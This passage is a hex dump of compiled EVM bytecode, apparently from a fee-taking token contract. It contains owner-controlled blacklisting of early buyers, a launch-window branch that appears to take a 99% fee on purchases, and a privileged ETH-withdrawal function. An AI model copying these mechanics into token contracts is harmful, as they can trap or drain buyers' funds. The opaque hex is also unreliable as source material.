ffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611557906153bf565b60405180910390fd5b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630ca61cb18484846040518463ffffffff1660e01b81526004016115bf93929190615169565b600060405180830381600087803b1580156115d957600080fd5b505af11580156115ed573d6000803e3d6000fd5b50505050505050565b60145481565b6000600354905090565b60135481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461169a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611691906153bf565b60405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146118e157611860826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6118ec84848461329a565b90509392505050565b601f60009054906101000a900460ff1681565b60006012905090565b600061193d827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113e0565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806119ed57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a23906155e0565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b602460009054906101000a900460ff1681565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b68906153bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601b6020528060005260406000206000915054906101000a900460ff1681565b60055481565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ce3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cda906153bf565b60405180910390fd5b80601c60006101000a81548160ff02191690831515021790555050565b60045481565b6000806000602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166388c7cb126040518163ffffffff1660e01b8152600401606060405180830381865afa158015611d78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d9c91906157b3565b925092509250909192565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611e7957503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf906155e0565b60405180910390fd5b60005b83839050811015611f555781601b6000868685818110611ede57611edd6156fe565b5b9050602002016020810190611ef3919061513c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080611f4e90615756565b9050611ebb565b50505050565b606060028054611f6a90615563565b80601f0160208091040260200160405190810160405280929190818152602001828054611f9690615563565b8015611fe35780601f10611fb857610100808354040283529160200191611fe3565b820191906000526020600020905b815481529060010190602001808311611fc657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461207b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612072906153bf565b60405180910390fd5b620493e0811061208a57600080fd5b8060238190555050565b601c60009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212c906153bf565b60405180910390fd5b81601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061225133848461329a565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de906153bf565b60405180910390fd5b80601f60006101000a81548160ff02191690831515021790555050565b60265481565b601a60149054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806123c657503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc906155e0565b60405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc60648484612432919061540e565b61243c9190615497565b9081150290604051600060405180830381858888f19350505050158015612467573d6000803e3d6000fd5b505050565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061256157503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6125a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612597906155e0565b60405180910390fd5b82602460006101000a81548160ff0219169083151502179055508160258190555080602681905550505050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806126fd57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61273c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612733906155e0565b60405180910390fd5b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166307e2f86e33836040518363ffffffff1660e01b815260040161279992919061572d565b600060405180830381600087803b1580156127b357600080fd5b505af11580156127c7573d6000803e3d6000fd5b5050505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612882576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612879906153bf565b60405180910390fd5b8060158190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461291a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612911906153bf565b60405180910390fd5b6000601d5403612937574260208190555043601d81905550612948565b60006020819055506000601d819055505b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146129d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cf906153bf565b60405180910390fd5b612710816003546129e9919061540e565b6129f39190615497565b60048190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a81906153bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612af9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af090615852565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612c5f57503373ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612c9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c95906155e0565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612d285750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b612d3157600080fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015612e2357602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca968360006040518363ffffffff1660e01b8152600401612dec9291906158ad565b600060405180830381600087803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050612ef2565b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9683600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401612ebf92919061572d565b600060405180830381600087803b158015612ed957600080fd5b505af1158015612eed573d6000803e3d6000fd5b505050505b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f7b906153bf565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080828461301491906158d6565b905083811015613059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161305090615956565b60405180910390fd5b8091505092915050565b60006130ee826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061318382600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516132239190614d4a565b60405180910390a3600190509392505050565b600083831115829061327e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132759190614e70565b60405180910390fd5b506000838561328d9190615976565b9050809150509392505050565b6000602760009054906101000a900460ff16156132c3576132bc848484613063565b9050613e28565b601a60149054906101000a900460ff161561336657601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161335c906159f6565b60405180910390fd5b5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561340a5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613455576000601d5411613454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161344b90615a62565b60405180910390fd5b5b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156134be5750601c60009054906101000a900460ff165b80156134d85750601e54601d546134d591906158d6565b43105b1561358e576001601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6135988483613e2f565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166136485760006135f484611a9a565b9050600554838261360591906158d6565b1115613646576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363d90615af4565b60405180910390fd5b505b613650613ecc565b80156136a95750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156136b7576136b6613fa3565b5b600062989680836136c89190615497565b9050600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156137715750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156137855780836137829190615976565b92505b61380e836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546132369092919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156138f55750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561395c57600080600090505b60038112156139595780854260405160200161392093929190615b60565b6040516020818303038152906040528051906020012060001c9150613946878385614692565b808061395190615b9d565b915050613902565b50505b6000601f60009054906101000a900460ff1680156139c75750601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b80156139e157506021546020546139de91906158d6565b42105b156139f7576139f0868561478a565b9050613a6a565b613a0186866148d2565b613a0b5783613a67565b613a668685601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614614980565b5b90505b613abc81600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613c1957602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9687600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401613bec92919061572d565b600060405180830381600087803b158015613c0657600080fd5b505af1925050508015613c17575060015b505b600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613d3357602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314b6ca9686600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401613d0692919061572d565b600060405180830381600087803b158015613d2057600080fd5b505af1925050508015613d31575060015b505b602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ffb2c4796023546040518263ffffffff1660e01b8152600401613d909190614d4a565b600060405180830381600087803b158015613daa57600080fd5b505af1925050508015613dbb575060015b508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613e199190614d4a565b60405180910390a36001925050505b9392505050565b60045481111580613e895750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613ebf90615c31565b60405180910390fd5b5050565b6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015613f395750602760009054906101000a900460ff16155b8015613f515750602460009054906101000a900460ff165b8015613f9e5750602554600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602760006101000a81548160ff0219169083151502179055506000602654600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115614013576026549050614056565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b60006140946002614086601354614078600f5487614af890919063ffffffff16565b614b7290919063ffffffff16565b614b7290919063ffffffff16565b905060006140ab8284614bbc90919063ffffffff16565b90506000600267ffffffffffffffff8111156140ca576140c9615c51565b5b6040519080825280602002602001820160405280156140f85781602001602082028036833780820191505090505b50905030816000815181106141105761410f6156fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156141b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141db9190615c95565b816001815181106141ef576141ee6156fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161428d959493929190615d80565b600060405180830381600087803b1580156142a757600080fd5b505af11580156142bb573d6000803e3d6000fd5b50505050600047905060006142f06142df6002600f54614b7290919063ffffffff16565b601354614bbc90919063ffffffff16565b9050600061432e600261432084614312600f5488614af890919063ffffffff16565b614b7290919063ffffffff16565b614b7290919063ffffffff16565b905060006143598361434b60105487614af890919063ffffffff16565b614b7290919063ffffffff16565b905060006143848461437660115488614af890919063ffffffff16565b614b7290919063ffffffff16565b905060006143af856143a160125489614af890919063ffffffff16565b614b7290919063ffffffff16565b9050602260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561441b57600080fd5b505af19350505050801561442d575060015b506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16836175309060405161447a90615e0b565b600060405180830381858888f193505050503d80600081146144b8576040519150601f19603f3d011682016040523d82523d6000602084013e6144bd565b606091505b50509050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826175309060405161450b90615e0b565b600060405180830381858888f193505050503d8060008114614549576040519150601f19603f3d011682016040523d82523d6000602084013e61454e565b606091505b5050809150506000905060008a111561466a57601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71986308d600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016145ea96959493929190615e20565b60606040518083038185885af1158015614608573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061462d91906157b3565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506858b604051614661929190615e81565b60405180910390a15b50505050505050505050506000602760006101000a81548160ff021916908315150217905550565b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546146dd91906158d6565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161477d9190614d4a565b60405180910390a3505050565b6000806063905060006147b960646147ab8487614af890919063ffffffff16565b614b7290919063ffffffff16565b905061480d81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516148ad9190614d4a565b60405180910390a36148c88185614bbc90919063ffffffff16565b9250505092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156149785750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000808261498f576064614993565b6015545b905060006149de60646014546149a9919061540e565b6149d0846149c26013548a614af890919063ffffffff16565b614af890919063ffffffff16565b614b7290919063ffffffff16565b9050614a3281600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461300590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051614ad29190614d4a565b60405180910390a3614aed8186614bbc90919063ffffffff16565b925050509392505050565b6000808303614b0a5760009050614b6c565b60008284614b18919061540e565b9050828482614b279190615497565b14614b67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614b5e90615f1c565b60405180910390fd5b809150505b92915050565b6000614bb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614c06565b905092915050565b6000614bfe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613236565b905092915050565b60008083118290614c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401614c449190614e70565b60405180910390fd5b5060008385614c5c9190615497565b9050809150509392505050565b600080fd5b600080fd5b6000819050919050565b614c8681614c73565b8114614c9157600080fd5b50565b600081359050614ca381614c7d565b92915050565b600060208284031215614cbf57614cbe614c69565b5b6000614ccd84828501614c94565b91505092915050565b60008115159050919050565b614ceb81614cd6565b8114614cf657600080fd5b50565b600081359050614d0881614ce2565b92915050565b600060208284031215614d2457614d23614c69565b5b6000614d3284828501614cf9565b91505092915050565b614d4481614c73565b82525050565b6000602082019050614d5f6000830184614d3b565b92915050565b600080600080600060a08688031215614d8157614d80614c69565b5b6000614d8f88828901614c94565b9550506020614da088828901614c94565b9450506040614db188828901614c94565b9350506060614dc288828901614c94565b9250506080614dd388828901614c94565b9150509295509295909350565b600081519050919050565b600082825260208201905092915050565b60005b83811015614e1a578082015181840152602081019050614dff565b60008484015250505050565b6000601f19601f8301169050919050565b6000614e4282614de0565b614e4c8185614deb565b9350614e5c818560208601614dfc565b614e6581614e26565b840191505092915050565b60006020820190508181036000830152614e8a8184614e37565b905092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112614eb757614eb6614e92565b5b8235905067ffffffffffffffff811115614ed457614ed3614e97565b5b602083019150836020820283011115614ef057614eef614e9c565b5b9250929050565b600080600060408486031215614f1057614f0f614c69565b5b600084013567ffffffffffffffff811115614f2e57614f2d614c6e565b5b614f3a86828701614ea1565b93509350506020614f4d86828701614c94565b9150509250925092565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000614f8282614f57565b9050919050565b614f9281614f77565b8114614f9d57600080fd5b50565b600081359050614faf81614f89565b92915050565b60008060408385031215614fcc57614fcb614c69565b5b6000614fda85828601614fa0565b9250506020614feb85828601614c94565b9150509250929050565b614ffe81614cd6565b82525050565b60006020820190506150196000830184614ff5565b92915050565b60008060006060848603121561503857615037614c69565b5b600061504686828701614c94565b935050602061505786828701614c94565b925050604061506886828701614c94565b9150509250925092565b6000806040838503121561508957615088614c69565b5b600061509785828601614fa0565b92505060206150a885828601614cf9565b9150509250929050565b6000806000606084860312156150cb576150ca614c69565b5b60006150d986828701614fa0565b93505060206150ea86828701614fa0565b92505060406150fb86828701614c94565b9150509250925092565b600060ff82169050919050565b61511b81615105565b82525050565b60006020820190506151366000830184615112565b92915050565b60006020828403121561515257615151614c69565b5b600061516084828501614fa0565b91505092915050565b600060608201905061517e6000830186614d3b565b61518b6020830185614d3b565b6151986040830184614d3b565b949350505050565b6151a981614f77565b82525050565b60006020820190506151c460008301846151a0565b92915050565b6000806000604084860312156151e3576151e2614c69565b5b600084013567ffffffffffffffff81111561520157615200614c6e565b5b61520d86828701614ea1565b9350935050602061522086828701614cf9565b9150509250925092565b6000806040838503121561524157615240614c69565b5b600061524f85828601614fa0565b925050602061526085828601614fa0565b9150509250929050565b6000819050919050565b600061528f61528a61528584614f57565b61526a565b614f57565b9050919050565b60006152a182615274565b9050919050565b60006152b382615296565b9050919050565b6152c3816152a8565b82525050565b60006020820190506152de60008301846152ba565b92915050565b6000806000606084860312156152fd576152fc614c69565b5b600061530b86828701614cf9565b935050602061531c86828701614c94565b925050604061532d86828701614c94565b9150509250925092565b600061534282615296565b9050919050565b61535281615337565b82525050565b600060208201905061536d6000830184615349565b92915050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b60006153a9600683614deb565b91506153b482615373565b602082019050919050565b600060208201905081810360008301526153d88161539c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061541982614c73565b915061542483614c73565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561545d5761545c6153df565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006154a282614c73565b91506154ad83614c73565b9250826154bd576154bc615468565b5b828204905092915050565b7f466565732063616e6e6f74206265206d6f7265207468616e2033332500000000600082015250565b60006154fe601c83614deb565b9150615509826154c8565b602082019050919050565b6000602082019050818103600083015261552d816154f1565b905091905056